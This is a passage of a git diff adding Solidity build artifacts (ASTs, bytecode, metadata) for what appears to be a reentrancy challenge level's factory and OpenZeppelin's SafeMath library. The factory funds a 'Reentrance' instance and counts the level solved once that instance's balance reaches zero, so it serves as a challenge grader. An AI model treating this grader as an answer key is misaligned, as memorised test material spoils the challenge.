Reentrance"}},"nodeType":"VariableDeclarationStatement","src":"356:38:11"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1532,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1528,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"420:4:11","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceFactory_$1581","typeString":"contract ReentranceFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ReentranceFactory_$1581","typeString":"contract ReentranceFactory"}],"id":1527,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"412:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1526,"name":"address","nodeType":"ElementaryTypeName","src":"412:7:11","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"412:13:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":1530,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"balance","nodeType":"MemberAccess","referencedDeclaration":null,"src":"412:21:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"argumentTypes":null,"id":1531,"name":"insertCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1502,"src":"437:10:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"412:35:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":1525,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"404:7:11","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":1533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"404:44:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1534,"nodeType":"ExpressionStatement","src":"404:44:11"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1540,"name":"insertCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1502,"src":"485:10:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1537,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1520,"src":"466:8:11","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}],"id":1536,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"458:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1535,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:11","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1538,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"458:17:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":1539,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":null,"src":"458:26:11","typeDescriptions":{"typeIdentifier":"t_function_transfer_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256)"}},"id":1541,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"458:38:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1542,"nodeType":"ExpressionStatement","src":"458:38:11"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1545,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1520,"src":"521:8:11","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}],"id":1544,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"513:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1543,"name":"address","nodeType":"ElementaryTypeName","src":"513:7:11","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"513:17:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":1509,"id":1547,"nodeType":"Return","src":"506:24:11"}]},"baseFunctions":[1730],"documentation":null,"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","overrides":{"id":1506,"nodeType":"OverrideSpecifier","overrides":[],"src":"260:8:11"},"parameters":{"id":1505,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1504,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1549,"src":"228:15:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1503,"name":"address","nodeType":"ElementaryTypeName","src":"228:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"227:17:11"},"returnParameters":{"id":1509,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1508,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1549,"src":"278:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1507,"name":"address","nodeType":"ElementaryTypeName","src":"278:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"277:9:11"},"scope":1581,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":1576,"nodeType":"FunctionDefinition","src":"543:225:11","nodes":[],"body":{"id":1575,"nodeType":"Block","src":"644:124:11","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1559,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1553,"src":"654:7:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1560,"nodeType":"ExpressionStatement","src":"654:7:11"},{"assignments":[1562],"declarations":[{"constant":false,"id":1562,"mutability":"mutable","name":"instance","nodeType":"VariableDeclaration","overrides":null,"scope":1575,"src":"671:19:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"},"typeName":{"contractScope":null,"id":1561,"name":"Reentrance","nodeType":"UserDefinedTypeName","referencedDeclaration":1493,"src":"671:10:11","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}},"value":null,"visibility":"internal"}],"id":1566,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1564,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1551,"src":"704:9:11","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":1563,"name":"Reentrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1493,"src":"693:10:11","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Reentrance_$1493_$","typeString":"type(contract Reentrance)"}},"id":1565,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"693:21:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}},"nodeType":"VariableDeclarationStatement","src":"671:43:11"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1569,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1562,"src":"739:8:11","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$1493","typeString":"contract Reentrance"}],"id":1568,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"731:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1567,"name":"address","nodeType":"ElementaryTypeName","src":"731:7:11","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"731:17:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":1571,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"balance","nodeType":"MemberAccess","referencedDeclaration":null,"src":"731:25:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"hexValue":"30","id":1572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"760:1:11","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"731:30:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":1558,"id":1574,"nodeType":"Return","src":"724:37:11"}]},"baseFunctions":[1739],"documentation":null,"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","overrides":{"id":1555,"nodeType":"OverrideSpecifier","overrides":[],"src":"620:8:11"},"parameters":{"id":1554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1551,"mutability":"mutable","name":"_instance","nodeType":"VariableDeclaration","overrides":null,"scope":1576,"src":"569:25:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":1550,"name":"address","nodeType":"ElementaryTypeName","src":"569:15:11","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":1553,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1576,"src":"596:15:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1552,"name":"address","nodeType":"ElementaryTypeName","src":"596:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"568:44:11"},"returnParameters":{"id":1558,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1557,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1576,"src":"638:4:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1556,"name":"bool","nodeType":"ElementaryTypeName","src":"638:4:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"637:6:11"},"scope":1581,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1580,"nodeType":"FunctionDefinition","src":"774:29:11","nodes":[],"body":{"id":1579,"nodeType":"Block","src":"801:2:11","nodes":[],"statements":[]},"documentation":null,"implemented":true,"kind":"receive","modifiers":[],"name":"","overrides":null,"parameters":{"id":1577,"nodeType":"ParameterList","parameters":[],"src":"781:2:11"},"returnParameters":{"id":1578,"nodeType":"ParameterList","parameters":[],"src":"801:0:11"},"scope":1581,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":1498,"name":"Level","nodeType":"UserDefinedTypeName","referencedDeclaration":1740,"src":"146:5:11","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$1740","typeString":"contract Level"}},"id":1499,"nodeType":"InheritanceSpecifier","src":"146:5:11"}],"contractDependencies":[109,849,1493,1740],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1581,1740,109,849],"name":"ReentranceFactory","scope":1582}],"license":"MIT"},"id":11} \ No newline at end of file diff --git a/contracts/out/SafeMath.sol/SafeMath.json b/contracts/out/SafeMath.sol/SafeMath.json new file mode 100644 index 000000000..b4453c8dc --- /dev/null +++ b/contracts/out/SafeMath.sol/SafeMath.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60566023600b82828239805160001a607314601657fe5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220758b77bd4dcf2079b1210a112ac0bd48f17f39b6f12cb2d0419c7aa8b0568d5064736f6c634300060c0033","sourceMap":"630:6594:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220758b77bd4dcf2079b1210a112ac0bd48f17f39b6f12cb2d0419c7aa8b0568d5064736f6c634300060c0033","sourceMap":"630:6594:1:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Wrappers over Solidity's arithmetic operations with added overflow checks. Arithmetic operations in Solidity wrap on overflow. This can easily result in bugs, because programmers usually assume that an overflow raises an error, which is the standard behavior in high level programming languages. `SafeMath` restores this intuition by reverting the transaction when an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always.\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol\":\"SafeMath\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol\":{\"keccak256\":\"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c\",\"dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol":"SafeMath"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol":{"keccak256":"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52","urls":["bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c","dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol","id":465,"exportedSymbols":{"SafeMath":[464]},"nodeType":"SourceUnit","src":"33:7192:1","nodes":[{"id":111,"nodeType":"PragmaDirective","src":"33:31:1","nodes":[],"literals":["solidity",">=","0.6",".0","<","0.8",".0"]},{"id":464,"nodeType":"ContractDefinition","src":"630:6594:1","nodes":[{"id":143,"nodeType":"FunctionDefinition","src":"789:174:1","nodes":[],"body":{"id":142,"nodeType":"Block","src":"865:98:1","nodes":[],"statements":[{"assignments":[125],"declarations":[{"constant":false,"id":125,"mutability":"mutable","name":"c","nodeType":"VariableDeclaration","overrides":null,"scope":142,"src":"875:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":124,"name":"uint256","nodeType":"ElementaryTypeName","src":"875:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"id":129,"initialValue":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":128,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":126,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":115,"src":"887:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"argumentTypes":null,"id":127,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":117,"src":"891:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"887:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"875:17:1"},{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":130,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":125,"src":"906:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"argumentTypes":null,"id":131,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":115,"src":"910:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"906:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":137,"nodeType":"IfStatement","src":"902:28:1","trueBody":{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"66616c7365","id":133,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"921:5:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"argumentTypes":null,"hexValue":"30","id":134,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"928:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":135,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"920:10:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":123,"id":136,"nodeType":"Return","src":"913:17:1"}},{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"74727565","id":138,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"948:4:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"argumentTypes":null,"id":139,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":125,"src":"954:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":140,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"947:9:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"functionReturnParameters":123,"id":141,"nodeType":"Return","src":"940:16:1"}]},"documentation":{"id":113,"nodeType":"StructuredDocumentation","src":"653:131:1","text":" @dev Returns the addition of two unsigned integers, with an overflow flag.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"tryAdd","overrides":null,"parameters":{"id":118,"nodeType":"ParameterList","parameters":[{"constant":false,"id":115,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":143,"src":"805:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":114,"name":"uint256","nodeType":"ElementaryTypeName","src":"805:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":117,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":143,"src":"816:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":116,"name":"uint256","nodeType":"ElementaryTypeName","src":"816:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"804:22:1"},"returnParameters":{"id":123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":120,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":143,"src":"850:4:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":119,"name":"bool","nodeType":"ElementaryTypeName","src":"850:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":122,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":143,"src":"856:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":121,"name":"uint256","nodeType":"ElementaryTypeName","src":"856:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"849:15:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":170,"nodeType":"FunctionDefinition","src":"1109:151:1","nodes":[],"body":{"id":169,"nodeType":"Block","src":"1185:75:1","nodes":[],"statements":[{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":157,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":155,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":148,"src":"1199:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"id":156,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":146,"src":"1203:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1199:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":162,"nodeType":"IfStatement","src":"1195:28:1","trueBody":{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"66616c7365","id":158,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1214:5:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"argumentTypes":null,"hexValue":"30","id":159,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1221:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":160,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"1213:10:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":154,"id":161,"nodeType":"Return","src":"1206:17:1"}},{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"74727565","id":163,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1241:4:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":166,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":164,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":146,"src":"1247:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"argumentTypes":null,"id":165,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":148,"src":"1251:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1247:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":167,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1240:13:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"functionReturnParameters":154,"id":168,"nodeType":"Return","src":"1233:20:1"}]},"documentation":{"id":144,"nodeType":"StructuredDocumentation","src":"969:135:1","text":" @dev Returns the substraction of two unsigned integers, with an overflow flag.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"trySub","overrides":null,"parameters":{"id":149,"nodeType":"ParameterList","parameters":[{"constant":false,"id":146,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":170,"src":"1125:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":145,"name":"uint256","nodeType":"ElementaryTypeName","src":"1125:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":148,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":170,"src":"1136:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":147,"name":"uint256","nodeType":"ElementaryTypeName","src":"1136:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"1124:22:1"},"returnParameters":{"id":154,"nodeType":"ParameterList","parameters":[{"constant":false,"id":151,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":170,"src":"1170:4:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":150,"name":"bool","nodeType":"ElementaryTypeName","src":"1170:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":153,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":170,"src":"1176:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":152,"name":"uint256","nodeType":"ElementaryTypeName","src":"1176:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeS